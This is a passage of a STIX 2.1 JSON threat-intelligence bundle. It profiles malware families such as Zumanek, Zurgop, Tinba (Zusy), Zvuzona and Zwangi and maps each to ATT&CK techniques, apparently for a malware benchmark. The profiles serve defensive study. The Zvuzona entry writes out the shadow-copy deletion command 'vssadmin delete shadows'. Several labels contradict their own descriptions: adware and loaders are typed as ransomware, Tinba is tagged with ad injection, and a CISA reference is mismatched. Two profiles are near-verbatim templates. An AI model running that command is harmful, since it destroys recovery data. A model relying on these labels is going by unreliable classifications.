      "description": "Trojan:Win32/Zumanek is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zumanek</b><br>To an end-user, a Zumanek infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zumanek is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zumanek is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zumanek frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zumanek reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zumanek",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zumanek"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef0916e4-83a9-5bd5-978d-70d0b23aeb79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d6f07d4-785f-5122-9714-47a6659c3fa1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zumanek exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa71a74e-4ec6-5a84-b446-a130d161edbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d6f07d4-785f-5122-9714-47a6659c3fa1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zumanek exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f894d940-32bb-5441-ba2f-3bb7eb1239e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d6f07d4-785f-5122-9714-47a6659c3fa1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zumanek exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5abb968c-c85d-5700-a922-03e6bb9fb7db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d6f07d4-785f-5122-9714-47a6659c3fa1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zumanek exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2f74d92-8230-5528-9d58-d92a0cdcd795",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d6f07d4-785f-5122-9714-47a6659c3fa1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zumanek exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a7adc725-8e1a-5075-9a14-c1a09b4cf108",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zurgop",
      "description": "Zurgop (tracked across antimalware research repositories under detections including Trojan:Win32/Zurgop, TrojanDownloader:Win32/Zurgop, and Trojan.Zurgop) is a resilient multi-stage Windows trojan loader and initial access agent active since 2016. Infiltrating target environments through malicious email attachments, cracked software repositories, and exploit kits, Zurgop is engineered to provide persistent foothold access and facilitate subsequent payload deployment. Once active, Zurgop performs extensive system reconnaissance, enumerating host OS build details, installed antivirus software, and user privilege levels. It establishes persistence via registry autostart configurations and establishes encrypted outbound communication channels with remote C2 infrastructure. Threat actors leverage Zurgop to deploy diverse secondary malware families, notably ransomware, information stealers, and banking trojans, while leveraging process injection techniques into svchost.exe to evade host-based anomaly detection. (Observed samples in benchmark: 31)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Zurgop",
        "TrojanDownloader:Win32/Zurgop",
        "Trojan.Zurgop",
        "Win32/Zurgop",
        "Trojan:Win32/Zurgop.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zurgop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zurgop"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--11f67343-7298-5301-8f90-8805eda9bd2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zusy",
      "description": "Tinba (formally designated in AV classification as Zusy or IlliBanker, and colloquially celebrated as the 'Tiny Banker') is a notoriously compact banking trojan first analyzed in May 2012 by CSIS Security Group. Weighing in at approximately 20 kilobytes in compiled binary size, Tinba achieved legendary status among reverse engineers for accomplishing full-featured man-in-the-browser (MitB) financial theft within an extraordinarily minimalist, hand-crafted x86 assembly footprint.\n\nTinba hooks Windows networking APIs (specifically in ws2_32.dll, wininet.dll, and nspr4.dll) to intercept HTTPS traffic before encryption. When victims navigate to targeted banking portals, Tinba injects fraudulent HTML/JavaScript form fields into the webpage, prompting users for sensitive details such as debit card PINs, mother's maiden names, and one-time SMS authentication codes. In July 2014, Tinba's complete source code leaked onto Russian cybercrime forums, leading to widespread proliferation and the development of Tinba v2 with domain generation algorithm (DGA) capabilities. (Observed samples in benchmark: 14,120)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Tinba",
        "Tiny Banker",
        "Zusy",
        "IlliBanker",
        "TinyBanker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zusy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zusy"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA20-302A (Top Routinely Exploited Vulnerabilities)"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8dacc937-1633-50ce-a0b2-41452d8b9519",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11f67343-7298-5301-8f90-8805eda9bd2d",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zusy exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd68ead9-7397-5bdb-8238-06f1b486cb2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11f67343-7298-5301-8f90-8805eda9bd2d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zusy exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c140170-f545-5ca8-ab43-b8c06872d2ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11f67343-7298-5301-8f90-8805eda9bd2d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zusy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f4be20e-2128-5ea9-9709-148f207f8bdd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11f67343-7298-5301-8f90-8805eda9bd2d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zusy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51ca73d8-d99e-54ba-9ba1-c3430acb98c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11f67343-7298-5301-8f90-8805eda9bd2d",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zusy exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--380ec9f6-a40f-5c9d-8d84-5f034bdd9d62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11f67343-7298-5301-8f90-8805eda9bd2d",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zusy exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dec3d273-62a5-5d8b-b75c-8215938f571e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zvrek",
      "description": "<h3>Executive Summary</h3>\nZvrek is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZvrek is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Zvrek operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Zvrek ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Zvrek receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zvrek infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Zvrek executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Zvrek frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Zvrek",
        "Downloader.Zvrek",
        "Win32/Zvrek"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zvrek",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zvrek"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ff492fc-25a3-5ab5-aeda-c5c75e3365a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dec3d273-62a5-5d8b-b75c-8215938f571e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zvrek exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b236fc77-b119-528e-86fd-2dedf3ff64fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dec3d273-62a5-5d8b-b75c-8215938f571e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zvrek exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3abf5a21-7637-5e8b-a1d6-037a5df8f071",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dec3d273-62a5-5d8b-b75c-8215938f571e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zvrek exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--be5cd683-35cc-5b3d-8c6e-dae4f2f3fa58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zvuzona",
      "description": "Zvuzona (classified as Ransom:Win32/Zvuzona across Microsoft Defender, Kaspersky, and Trend Micro) is a destructive crypto-ransomware family designed for rapid data extortion across Windows endpoints and servers. Distributed via spear-phishing campaigns and malicious loaders, Zvuzona initiates execution by evaluating host privileges. It scans all local hard drives, USB external storage, and mapped SMB network shares, identifying high-value documents, databases, and archives. Zvuzona uses AES-256 symmetric encryption to lock files and appends .zvuzona to filenames. It drops ransom notes titled HOW_TO_DECRYPT_ZVUZONA.txt directing victims to contact threat actors via Tor, while executing vssadmin.exe delete shadows /all /quiet to wipe Windows Volume Shadow Copies. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Zvuzona",
        "Trojan-Ransom.Win32.Zvuzona",
        "Win32/Zvuzona",
        "Zvuzona Ransomware",
        "Ransom.Zvuzona"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zvuzona",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zvuzona"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f55e68ed-e218-50f4-a917-d2ba8e2a6e28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be5cd683-35cc-5b3d-8c6e-dae4f2f3fa58",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zvuzona exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--812706d1-c91b-5381-815f-0453f5236960",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be5cd683-35cc-5b3d-8c6e-dae4f2f3fa58",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zvuzona exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a41a7269-3540-544d-b00c-3b29895bd3f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be5cd683-35cc-5b3d-8c6e-dae4f2f3fa58",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zvuzona exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3f07112-2edc-55e3-b1c3-87c80b1538e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be5cd683-35cc-5b3d-8c6e-dae4f2f3fa58",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zvuzona exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a45ada55-7a7a-52f5-b09b-d57f085a7b5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be5cd683-35cc-5b3d-8c6e-dae4f2f3fa58",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zvuzona exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7226da67-87b6-5698-a8df-68c41dc22a0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zwangi",
      "description": "<h3>Executive Summary</h3>\nZwangi is a highly persistent Adware and Potentially Unwanted Program (PUP) designed to aggressively monetize infected systems. It achieves this by hijacking web browser settings, forcefully injecting unauthorized advertisements, and tracking user browsing habits to generate fraudulent affiliate revenue. Zwangi is particularly notorious for its aggressive persistence mechanisms, making it exceptionally difficult for standard users to remove.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZwangi primarily infiltrates systems via deceptive software bundling. It is frequently packaged with \"freeware\" applications, media players, or PDF converters downloaded from third-party, untrustworthy aggregators. The installation is often obscured through deceptive UI \"Dark Patterns.\"\n\nOnce installed, Zwangi employs several aggressive techniques:\n<ul>\n<li><strong>Browser Extension Forcing:</strong> It installs malicious extensions or add-ons across all major web browsers. It specifically abuses Windows Group Policy Object (GPO) modifications to \"force-install\" these extensions, graying out the \"Remove\" button in the browser settings so the user cannot disable them.</li>\n<li><strong>Search Hijacking and Redirection:</strong> The adware alters the browser's default search engine and homepage. Legitimate search queries are intercepted and routed through attacker-controlled domains to artificially inflate traffic metrics for affiliate programs.</li>\n<li><strong>Registry and Service Persistence:</strong> Zwangi installs background Windows Services and multiple registry `Run` keys that constantly monitor the system. If a user manages to delete the browser extension, the background service will immediately reinstall it.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Zwangi does not encrypt files like ransomware, it severely degrades the operational capacity of the endpoint. The constant redirection and rendering of injected ads consume significant CPU and RAM, leading to browser crashes and system instability. The persistent tracking of search queries also constitutes a significant privacy violation.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Remediation of Group Policies:</strong> Standard AV will fail to remove Zwangi if the GPOs are not cleared first. IT staff must inspect the local Group Policy settings (e.g., `Computer Configuration\\Administrative Templates\\Google\\Google Chrome\\Extensions`) to remove the forced extension IDs.</li>\n<li><strong>Safe Mode Antivirus Scan:</strong> Boot the machine into Windows \"Safe Mode\" to prevent Zwangi's persistent background services from loading. Then, utilize an enterprise-grade anti-malware solution capable of removing deeply embedded PUPs.</li>\n<li><strong>Browser Factory Reset:</strong> After the GPOs and registry keys are cleared, perform a complete factory reset of all installed web browsers to clear the hijacked search settings and tracking cookies.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Zwangi",
        "PUP.Zwangi",
        "BrowserHijacker.Zwangi",
        "Win32/Zwangi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zwangi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zwangi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcf5fbfd-7d82-59e2-8729-3681da63c7c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7226da67-87b6-5698-a8df-68c41dc22a0f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zwangi exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfc90611-0a6b-50af-a768-f24f9e139047",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7226da67-87b6-5698-a8df-68c41dc22a0f",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zwangi exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--005eccc0-eb59-5468-adf5-b7413a5d4ac6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7226da67-87b6-5698-a8df-68c41dc22a0f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zwangi exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--95fad51f-7d2e-5668-bcb8-d25cbd958569",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zxor",
      "description": "<h3>Executive Summary</h3>\nZxor is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZxor is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Zxor operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Zxor ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Zxor receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zxor infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Zxor executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Zxor frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Zxor",
        "Downloader.Zxor",
        "Win32/Zxor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zxor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zxor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccaee31b-5a4f-5f5e-9254-6ea0a3295091",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95fad51f-7d2e-5668-bcb8-d25cbd958569",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5661e79-c299-59af-bfc1-98ddd8c243b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95fad51f-7d2e-5668-bcb8-d25cbd958569",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74a4647f-aa24-5198-a0ec-7628df6cfd37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95fad51f-7d2e-5668-bcb8-d25cbd958569",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxor exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a2b4c258-92ed-52ed-9111-eb7b57d6288d",
      "created": "2026-01-01T00:00:00.000Z",
